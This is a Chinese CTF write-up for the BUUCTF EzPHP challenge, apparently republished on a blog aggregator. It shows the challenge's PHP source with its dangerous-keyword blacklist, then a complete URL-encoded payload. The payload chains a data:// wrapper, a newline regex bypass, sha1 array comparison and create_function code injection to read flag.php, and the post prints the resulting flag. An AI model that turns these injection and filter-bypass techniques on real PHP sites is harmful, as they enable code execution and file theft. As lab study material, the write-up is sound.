96,【4】 buuctf web [BJDCTF2020]EzPHP

進入靶場

查看源代碼

?

GFXEIM3YFZYGQ4A=?

一看就是編碼后的

1nD3x.php

訪問

得到源代碼

<?php
// 高亮顯示當前 PHP 文件的源代碼,用于調試或展示代碼結構
highlight_file(__FILE__);
// 關閉所有 PHP 錯誤報告,防止錯誤信息泄露可能的安全漏洞
error_reporting(0); // 初始化變量 $file,默認值為 "1nD3x.php"
$file = "1nD3x.php";
// 從 GET 請求中獲取名為 'shana' 的參數值
$shana = $_GET['shana'];
// 從 GET 請求中獲取名為 'passwd' 的參數值
$passwd = $_GET['passwd'];
// 初始化變量 $arg,用于后續存儲參數,初始為空字符串
$arg = '';
// 初始化變量 $code,用于后續存儲代碼,初始為空字符串
$code = '';// 輸出提示信息,告知用戶這是一個簡單挑戰,解決后會給出 flag
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";// 檢查 $_SERVER 數組是否存在
if($_SERVER) { // 使用正則表達式檢查 $_SERVER['QUERY_STRING'] 是否包含危險關鍵字// 這些關鍵字可能被用于執行危險操作,如代碼注入、命令執行等if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  // 如果包含危險關鍵字,終止程序并輸出警告信息die('You seem to want to do something bad?'); 
}// 檢查從 GET 請求中獲取的 'file' 參數是否不包含 'http' 或 'https'
if (!preg_match('/http|https/i', $_GET['file'])) {// 檢查 'debu' 參數是否匹配正則表達式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'// 這里是一個矛盾條件,正常情況下不會滿足if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { // 如果滿足條件,將 'file' 參數的值賦給 $file 變量$file = $_GET["file"]; // 輸出提示信息,表示用戶完成了一個步驟echo "Neeeeee! Good Job!<br>";} 
} else {// 如果 'file' 參數包含 'http' 或 'https',終止程序并輸出警告信息die('fxck you! What do you want to do ?!');
}// 檢查 $_REQUEST 數組是否存在
if($_REQUEST) { // 遍歷 $_REQUEST 數組中的每個值foreach($_REQUEST as $value) { // 使用正則表達式檢查值是否包含英文字母if(preg_match('/[a-zA-Z]/i', $value))  // 如果包含英文字母,終止程序并輸出警告信息die('fxck you! I hate English!'); } 
} // 讀取 $file 文件的內容,并檢查是否等于 'debu_debu_aqua'
if (file_get_contents($file) !== 'debu_debu_aqua')// 如果不相等,終止程序并輸出提示信息die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");// 檢查 $shana 和 $passwd 的 SHA-1 哈希值是否相等,但 $shana 和 $passwd 本身不相等
// 這是利用了 SHA-1 哈希函數對某些特殊輸入可能產生相同哈希值的特性
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){// 如果滿足條件,從 GET 請求的 'flag' 參數中提取變量extract($_GET["flag"]);// 輸出提示信息,表示用戶通過了密碼驗證echo "Very good! you know my password. But what is flag?<br>";
} else{// 如果不滿足條件,終止程序并輸出警告信息die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}// 檢查 $code 是否只包含小寫字母和數字,或者 $arg 是否包含危險關鍵字
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { // 如果滿足條件,終止程序并輸出提示信息,表示危險函數已被禁用die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { // 如果不滿足條件,包含 'flag.php' 文件include "flag.php";// 調用 $code 變量作為函數,并傳入空字符串和 $arg 作為參數$code('', $arg); 
}
?>

總結:我們需要傳參(shana password)

繞過正則表達式檢查 $_SERVER['QUERY_STRING']?

'file' 參數不包含 'http' 或 'https'?

?'debu' 參數匹配正則表達式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'???

$_REQUEST 不能包含英文字母

?$file 文件的內容要等于 'debu_debu_aqua'

$shana 和 $passwd 的 SHA-1 哈希值相等,但 $shana 和 $passwd 本身不相等

$code 只包含小寫字母和數字,或者 $arg 不包含危險關鍵字

payload

?/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

post傳參 file=1&debu=1

flag就在這里,你能拿到它嗎?PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2ZlODYwNzNlLTNhZjktNGNiZC1hNTNiLTMxNGI1OWRhOGI4Nn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=?

flag{fe86073e-3af9-4cbd-a53b-314b59da8b86}?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/67762.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/67762.shtml
英文地址,請注明出處:http://en.pswp.cn/web/67762.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于深度學習的輸電線路缺陷檢測算法研究(論文+源碼)

輸電線路關鍵部件的缺陷檢測對于電網安全運行至關重要&#xff0c;傳統方法存在效率低、準確性不高等問題。本研究探討了利用深度學習技術進行輸電線路關鍵組件的缺陷檢測&#xff0c;目的是提升檢測的效率與準確度。選用了YOLOv8模型作為基礎&#xff0c;并通過加入CA注意力機…

3、從langchain到rag

文章目錄 本文介紹向量和向量數據庫向量向量數據庫 索引開始動手實現rag加載文檔數據并建立索引將向量存放到向量數據庫中檢索生成構成一條鏈 本文介紹 從本節開始&#xff0c;有了上一節的langchain基礎學習&#xff0c;接下來使用langchain實現一個rag應用&#xff0c;并稍微…

DeepSeek-R1大模型本地化部署

前言 Ollama作為一個輕量級、易上手的工具&#xff0c;可以幫助你在自己的電腦上快速部署和運行大型語言模型&#xff0c;無需依賴云端服務。通過加載各種開源模型&#xff0c;比如LLaMA、GPT-J等&#xff0c;并通過簡單的命令行操作進行模型推理和測試。 此小結主要介紹使用…

【小白學AI系列】NLP 核心知識點(五)Transformer介紹

Transformer Transformer 是一種基于自注意力機制&#xff08;Self-Attention Mechanism&#xff09;的深度學習模型&#xff0c;首次由 Vaswani 等人于 2017 年在論文《Attention is All You Need》中提出。與 RNN 和 LSTM 不同&#xff0c;Transformer 不需要依靠序列順序進…

【高級篇 / IPv6】(7.6) ? 03. 寬帶IPv6 - ADSL撥號寬帶上網配置 ? FortiGate 防火墻

【簡介】大部分ADSL撥號寬帶都支持IPv6&#xff0c;這里以ADSL撥號寬帶為例&#xff0c;演示在FortiGate防火墻上的配置方法。 準備工作 同上篇文章一樣&#xff0c;為了兼顧不熟悉FortiGate防火墻的朋友&#xff0c;我們從基礎操作進行演示&#xff0c;熟練的朋友可以跳過這一…

【Elasticsearch】_all 查詢

在 Elasticsearch 中&#xff0c;_all 查詢是一種特殊的查詢方式&#xff0c;用于在多個索引或數據流中執行搜索操作&#xff0c;而無需顯式指定每個目標索引或數據流的名稱。以下是關于 _all 查詢的詳細說明&#xff1a; _all 查詢概述 用途&#xff1a;_all 查詢允許您在多個…

Linux第104步_基于AP3216C之I2C實驗

Linux之I2C實驗是在AP3216C的基礎上實現的&#xff0c;進一步熟悉修改設備樹和編譯設備樹&#xff0c;以及學習如何編寫I2C驅動和APP測試程序。 1、AP3216C的原理圖 AP3216C集成了一個光強傳感器ALS&#xff0c;一個接近傳感器PS和一個紅外LED&#xff0c;為三合一的環境傳感…

基于單片機的盲人智能水杯系統(論文+源碼)

1 總體方案設計 本次基于單片機的盲人智能水杯設計&#xff0c;采用的是DS18B20實現杯中水溫的檢測&#xff0c;采用HX711及應力片實現杯中水里的檢測&#xff0c;采用DS1302實現時鐘計時功能&#xff0c;采用TTS語音模塊實現語音播報的功能&#xff0c;并結合STC89C52單片機作…

高清種子資源獲取指南 | ??@seedlinkbot

在如今的數字時代&#xff0c;高清影視、音樂、游戲等資源的獲取方式不斷豐富。對于追求高質量資源的用戶而言&#xff0c;一個高效的資源分享平臺至關重要。而 ??seedlinkbot 正是這樣一個便捷的資源獲取工具&#xff0c;為用戶提供高質量的種子資源索引和下載信息。 1. ??…

[paddle] 矩陣相關的指標

行列式 det 行列式定義參考 d e t ( A ) ∑ i 1 , i 2 , ? , i n ( ? 1 ) σ ( i 1 , ? , i n ) a 1 , i 1 a 2 , i 2 , ? , a n , i n det(A) \sum_{i_1,i_2,\cdots,i_n } (-1)^{\sigma(i_1,\cdots,i_n)} a_{1,i_1}a_{2,i_2},\cdots, a_{n,i_n} det(A)i1?,i2?,?,in?…

Spring Boot項目如何使用MyBatis實現分頁查詢

寫在前面&#xff1a;大家好&#xff01;我是晴空?。如果博客中有不足或者的錯誤的地方歡迎在評論區或者私信我指正&#xff0c;感謝大家的不吝賜教。我的唯一博客更新地址是&#xff1a;https://ac-fun.blog.csdn.net/。非常感謝大家的支持。一起加油&#xff0c;沖鴨&#x…

【論文筆記】Fast3R:前向并行muti-view重建方法

眾所周知&#xff0c;DUSt3R只適合做稀疏視角重建&#xff0c;與sapnn3r的目的類似&#xff0c;這篇文章以并行的方法&#xff0c;擴展了DUSt3R在多視圖重建中的能力。 abstract 多視角三維重建仍然是計算機視覺領域的核心挑戰&#xff0c;尤其是在需要跨不同視角實現精確且可…

本地部署DeepSeek教程(Mac版本)

第一步、下載 Ollama 官網地址&#xff1a;Ollama 點擊 Download 下載 我這里是 macOS 環境 以 macOS 環境為主 下載完成后是一個壓縮包&#xff0c;雙擊解壓之后移到應用程序&#xff1a; 打開后會提示你到命令行中運行一下命令&#xff0c;附上截圖&#xff1a; 若遇…

deepseek本地部署會遇到哪些坑

在本地部署DeepSeek(或其他類似AI模型)時,可能會遇到以下常見問題及解決方案: 1. 硬件資源不足 問題表現: GPU不兼容(如型號過舊)、顯存不足(OOM錯誤)或CPU模式性能極低。解決方案: 確認GPU支持CUDA,檢查顯存需求(如至少16GB顯存)。使用nvidia-smi監控顯存,通過降…

微機原理與接口技術期末大作業——4位搶答器仿真

在微機原理與接口技術的學習旅程中&#xff0c;期末大作業成為了檢驗知識掌握程度與實踐能力的關鍵環節。本次我選擇設計并仿真一個 4 位搶答器系統&#xff0c;通過這個項目&#xff0c;深入探索 8086CPU 及其接口技術的實際應用。附完整壓縮包下載。 一、系統設計思路 &…

解決國內服務器 npm install 卡住的問題

在使用國內云服務器時&#xff0c;經常會遇到 npm install 命令執行卡住的情況。本文將分享一個典型案例以及常見的解決方案。 問題描述 在執行以下命令時&#xff1a; mkdir test-npm cd test-npm npm init -y npm install lodash --verbose安裝過程會卡在這個狀態&#xf…

【Redis】Redis 經典面試題解析:深入理解 Redis 的核心概念與應用

Redis 是一個高性能的鍵值存儲系統&#xff0c;廣泛應用于緩存、消息隊列、排行榜等場景。在面試中&#xff0c;Redis 是一個高頻話題&#xff0c;尤其是其核心概念、數據結構、持久化機制和高可用性方案。 1. Redis 是什么&#xff1f;它的主要特點是什么&#xff1f; 答案&a…

昆侖萬維Java開發面試題及參考答案

進程和線程的區別是什么? 進程和線程都是操作系統中非常重要的概念,它們在多個方面存在顯著的區別。 從定義上看,進程是操作系統進行資源分配和調度的基本單位。每個進程都有自己獨立的內存空間,包括代碼段、數據段、堆棧段等。例如,當你在電腦上同時打開瀏覽器和音樂播放…

Visual Studio Code應用本地部署的deepseek

1.打開Visual Studio Code&#xff0c;在插件中搜索continue&#xff0c;安裝插件。 2.添加新的大語言模型&#xff0c;我們選擇ollama. 3.直接點connect&#xff0c;會鏈接本地下載好的deepseek模型。 參看上篇文章&#xff1a;deepseek本地部署-CSDN博客 4.輸入需求生成可用…

DeepSeek技術深度解析:從不同技術角度的全面探討

DeepSeek技術深度解析&#xff1a;從不同技術角度的全面探討 引言 DeepSeek是一個集成了多種先進技術的平臺&#xff0c;旨在通過深度學習和其他前沿技術來解決復雜的問題。本文將從算法、架構、數據處理以及應用等不同技術角度對DeepSeek進行詳細分析。 一、算法層面 深度學…